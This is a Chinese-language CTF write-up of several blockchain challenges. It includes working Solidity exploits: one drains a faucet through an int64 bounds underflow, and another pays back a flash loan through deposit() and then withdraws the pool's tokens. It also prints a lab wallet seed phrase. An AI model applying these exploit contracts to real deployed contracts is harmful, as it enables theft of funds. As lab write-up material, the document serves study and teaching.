打着玩玩,现在只对区块链和好一点的取证感兴趣了,还是好好考研吧👍
取证有点过于多了,不写wp了
Russian Roulette
签到题,合约如下
Setup.sol
pragma solidity 0.8.23;
import {RussianRoulette} from "./RussianRoulette.sol";
contract Setup {
RussianRoulette public immutable TARGET;
constructor() payable {
TARGET = new RussianRoulette{value: 10 ether}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
RussianRoulette.sol:
pragma solidity 0.8.23;
contract RussianRoulette {
constructor() payable {
// i need more bullets
}
function pullTrigger() public returns (string memory) {
if (uint256(blockhash(block.number - 1)) % 10 == 7) {
selfdestruct(payable(msg.sender)); // 💀
} else {
return "im SAFU ... for now";
}
}
}
一眼简,触发pullTrigger里面的自毁函数就行了,运气问题,at address部署手动点点
Lucky Faucet
合约如下
Setup.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
import {LuckyFaucet} from "./LuckyFaucet.sol";
contract Setup {
LuckyFaucet public immutable TARGET;
uint256 constant INITIAL_BALANCE = 500 ether;
constructor() payable {
TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
}
LuckyFaucet.sol:
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
contract LuckyFaucet {
int64 public upperBound;
int64 public lowerBound;
constructor() payable {
// start with 50M-100M wei Range until player changes it
upperBound = 100_000_000;
lowerBound = 50_000_000;
}
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
}
要求是起码提走10个eth
合约咋一看没有什么漏洞点,靠手点的话每次最多也就100M wei
但是注意到里面这样两块
int64 public upperBound;
int64 public lowerBound;
...
upperBound - lowerBound + 1
既然变量是int64型,也就是说存在负数,而减去int64最小值的话randomInt的限制就会大大减少,也就是说amountToSend可以变得很大,写合约完成即可
exp.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
interface LuckyFaucet {
function setBounds(int64 _newLowerBound, int64 _newUpperBound) external;
function sendRandomETH() external returns (bool, uint64);
}
contract attack {
LuckyFaucet public LF;
constructor(address _addr) {
LF = LuckyFaucet(_addr);
}
function exp() external{
LF.setBounds(-9223372036854775808, 100000000);
LF.sendRandomETH();
}
fallback() external payable {}
}
点一两次就够10eth了
Recovery
简单题,区块链相关考点不多
给的帐号密码直接登,家目录里有个wallet,然后里面有一个txt文件包含助记词,或者说是"seed"
直接拿到seed
cradle change emerge market love umbrella trial clay album author fringe napkin
然后ssh部分就没用了,有点搞笑,还以为能搞个提权呢
另一个容器nc上去给了点连接参数以及给了地址用来把这个seed对应的账户里的btc打到里面去
还剩一个容器就是Electrum的server了,直接连
macos的electrum直接用brew安装就好了
/Applications/Electrum.app/Contents/MacOS/run_electrum --regtest --oneserver -s 94.237.62.99:47278:t
这里选个标准钱包然后输入seed,然后直接跳过密码即可
然后在发送里面把所有btc转到给的地址里就好了,简单
Ledger Heist
闪电贷,之前没怎么见过,搜了一下,大概就是借了直接还,需要在当前区块里还清借款
合约给了不少,有洞的不多
主要合约如下
Setup.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {LoanPool} from "./LoanPool.sol";
import {Token} from "./Token.sol";
contract Setup {
LoanPool public immutable TARGET;
Token public immutable TOKEN;
constructor(address _user) {
TOKEN = new Token(_user);
TARGET = new LoanPool(address(TOKEN));
TOKEN.approve(address(TARGET), type(uint256).max);
TARGET.deposit(10 ether);
}
function isSolved() public view returns (bool) {
return (TARGET.totalSupply() == 10 ether && TOKEN.balanceOf(address(TARGET)) < 10 ether);
}
}
LoanPool.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {FixedMathLib} from "./FixedPointMath.sol";
import "./Errors.sol";
import {IERC20Minimal, IERC3156FlashBorrower} from "./Interfaces.sol";
import {Events} from "./Events.sol";
struct UserRecord {
uint256 feePerShare;
uint256 feesAccumulated;
uint256 balance;
}
contract LoanPool is Events {
using FixedMathLib for uint256;
uint256 constant BONE = 10 ** 18;
address public underlying;
uint256 public totalSupply;
uint256 public feePerShare;
mapping(address => UserRecord) public userRecords;
constructor(address _underlying) {
underlying = _underlying;
}
function deposit(uint256 amount) external {
updateFees();
IERC20Minimal(underlying).transferFrom(msg.sender, address(this), amount);
_mint(msg.sender, amount);
}
function withdraw(uint256 amount) external {
if (userRecords[msg.sender].balance < amount) {
revert InsufficientBalance();
}
updateFees();
_burn(msg.sender, amount);
IERC20Minimal(underlying).transfer(msg.sender, amount);
}
function updateFees() public {
address _msgsender = msg.sender;
UserRecord storage record = userRecords[_msgsender];
uint256 fees = record.balance.fixedMulCeil((feePerShare - record.feePerShare), BONE);
record.feesAccumulated += fees;
record.feePerShare = feePerShare;
emit FeesUpdated(underlying, _msgsender, fees);
}
function withdrawFees() external returns (uint256) {
address _msgsender = msg.sender;
uint256 fees = userRecords[_msgsender].feesAccumulated;
if (fees == 0) {
revert NoFees();
}
userRecords[_msgsender].feesAccumulated = 0;
IERC20Minimal(underlying).transfer(_msgsender, fees);
emit FeesUpdated(underlying, _msgsender, fees);
return fees;
}
function balanceOf(address account) public view returns (uint256) {
return userRecords[account].balance;
}
// Flash loan EIP
function maxFlashLoan(address token) external view returns (uint256) {
if (token != underlying) {
revert NotSupported(token);
}
return IERC20Minimal(token).balanceOf(address(this));
}
function flashFee(address token, uint256 amount) external view returns (uint256) {
if (token != underlying) {
revert NotSupported(token);
}
return _computeFee(amount);
}
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
external
returns (bool)
{
if (token != underlying) {
revert NotSupported(token);
}
IERC20Minimal _token = IERC20Minimal(underlying);
uint256 _balanceBefore = _token.balanceOf(address(this));
if (amount > _balanceBefore) {
revert InsufficientBalance();
}
uint256 _fee = _computeFee(amount);
_token.transfer(address(receiver), amount);
if (
receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data)
!= keccak256("ERC3156FlashBorrower.onFlashLoan")
) {
revert CallbackFailed();
}
uint256 _balanceAfter = _token.balanceOf(address(this));
if (_balanceAfter < _balanceBefore + _fee) {
revert LoanNotRepaid();
}
// The fee is `fee`, but the user may have sent more.
uint256 interest = _balanceAfter - _balanceBefore;
_updateFeePerShare(interest);
emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee);
return true;
}
// Private methods
function _mint(address to, uint256 amount) private {
totalSupply += amount;
userRecords[to].balance += amount;
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) private {
totalSupply -= amount;
userRecords[from].balance -= amount;
emit Transfer(from, address(0), amount);
}
function _updateFeePerShare(uint256 interest) private {
feePerShare += interest.fixedDivFloor(totalSupply, BONE);
}
function _computeFee(uint256 amount) private pure returns (uint256) {
// 0.05% fee
return amount.fixedMulCeil(5 * BONE / 10_000, BONE);
}
}
既然题目是关于闪电贷,那问题肯定就处在相关方法里面
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
external
returns (bool)
{
if (token != underlying) {
revert NotSupported(token);
}
IERC20Minimal _token = IERC20Minimal(underlying);
uint256 _balanceBefore = _token.balanceOf(address(this));
if (amount > _balanceBefore) {
revert InsufficientBalance();
}
uint256 _fee = _computeFee(amount);
_token.transfer(address(receiver), amount);
if (
receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data)
!= keccak256("ERC3156FlashBorrower.onFlashLoan")
) {
revert CallbackFailed();
}
uint256 _balanceAfter = _token.balanceOf(address(this));
if (_balanceAfter < _balanceBefore + _fee) {
revert LoanNotRepaid();
}
// The fee is `fee`, but the user may have sent more.
uint256 interest = _balanceAfter - _balanceBefore;
_updateFeePerShare(interest);
emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee);
return true;
}
可以看到整体流程如下
先判断给的token地址是不是他所指定的token地址
然后保存当前此合约的余额
然后根据贷款数量计算fee,fee为贷款数量的0.05%
然后调用receiver地址的onFlashLoan方法,这个地址可以自定义
然后检查现在的余额是否小于原来的加上fee,即原余额加上要还的利息
最后更新FeePerShare
不难发现,流程似乎没什么问题,就是正常的借钱还钱加利息
但是合约里面还有一个方法
function deposit(uint256 amount) external {
updateFees();
IERC20Minimal(underlying).transferFrom(msg.sender, address(this), amount);
_mint(msg.sender, amount);
}
如果我们结合这两个方法,也就是说在题目合约调用receiver的onFlashLoan方法的时候我们用deposit方法来还钱的话,就会导致余额确实是与原来的余额加上利息相等,但是这些钱全部加进了借钱者的余额,即借钱者获得了包括fee在内的所有钱同时还清了债务
最后我们再调用withdraw方法取出totalSupply超过10eth的部分即可,也就是amount+fee
依据这个结论,可以写出以下攻击合约
Exp.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface LoanPool {
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data) external;
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
}
interface IERC3156FlashBorrower {
function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32);
}
interface Token {
function approve(address spender, uint256 amount) external returns (bool);
}
contract attack {
LoanPool public LP;
Token public tok;
constructor(address LP_address, address tok_address) {
LP = LoanPool(LP_address);
tok = Token(tok_address);
tok.approve(LP_address, type(uint256).max);
}
function exp() external{
LP.flashLoan(IERC3156FlashBorrower(address(this)), address(tok), 5 ether, "");
LP.withdraw(5 ether + 5 ether * 0.0005);
}
function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32) {
LP.deposit(amount + fee);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
fallback() external payable {}
}
不知道token地址的话可以直接at address部署LoanPool或者写个脚本算一下(里面的地址填setup的地址)
import rlp
from eth_utils import keccak, to_checksum_address, to_bytes
def mk_contract_address(sender: str, nonce: int) -> str:
sender_bytes = to_bytes(hexstr=sender)
raw = rlp.encode([sender_bytes, nonce])
h = keccak(raw)
address_bytes = h[12:]
return to_checksum_address(address_bytes)
address = to_checksum_address(mk_contract_address(to_checksum_address(
"0x1291CC8B2650Fb6631d383e47444349F323d4168"), 1))
print(address)
部署好之后at address调用一下token合约的transfer方法把自己的1eth转给部署好的攻击合约
然后直接调用攻击合约的exp方法即可